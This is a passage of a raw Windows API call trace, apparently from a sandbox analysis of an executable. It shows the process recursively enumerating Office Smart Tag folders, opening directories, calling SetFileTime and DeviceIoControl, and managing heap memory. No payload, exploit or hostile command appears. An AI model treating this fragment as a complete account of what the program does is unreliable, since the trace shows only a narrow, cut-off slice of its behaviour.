nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0056.704] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.704] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0056.731] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0056.731] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa0d30 [0056.731] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa0d30, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa0d30, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0056.731] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa0d30) returned 1 [0056.731] NtClose (Handle=0x188) returned 0x0 [0056.731] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.731] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.731] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0056.732] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f318 [0056.732] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.732] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f630 [0056.732] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0056.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0056.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0056.732] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.732] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.732] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.732] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.732] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.732] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f738 [0056.732] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0056.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e1c0 [0056.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f840 [0056.763] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.763] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0056.764] GetLastError () returned 0x12 [0056.764] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0056.764] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0056.764] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.764] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0056.764] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f948 [0056.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0056.764] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0056.764] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa0d30 [0056.764] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa0d30, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xfa0d30, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0056.764] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa0d30) returned 1 [0056.765] NtClose (Handle=0x188) returned 0x0 [0056.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9f948) returned 1 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f948 [0056.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9fa50 [0056.765] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0056.765] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.765] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9fb58 [0056.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e1e0 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9fc60 [0056.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.765] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e200 [0056.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9fd68 [0056.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.766] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e220 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9fe70 [0056.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.766] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e240 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ff78 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5c0) returned 0xf870d0 [0056.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0056.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.766] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e260 [0056.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa0080 [0056.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.767] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0056.767] GetLastError () returned 0x12 [0056.767] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0056.767] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0056.767] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.767] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0056.767] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0056.767] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0056.767] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0056.767] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0056.767] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0056.767] GetLastError () returned 0x12 [0056.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9fa50) returned 1 [0056.767] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0056.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9fb58) returned 1 [0056.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9f948) returned 1 [0056.767] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0056.767] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0056.767] GetLastError () returned 0x12 [0056.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9f630) returned 1 [0056.767] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0056.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9f738) returned 1 [0056.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9f318) returned 1 [0056.767] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0056.767] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0056.768] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0056.768] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 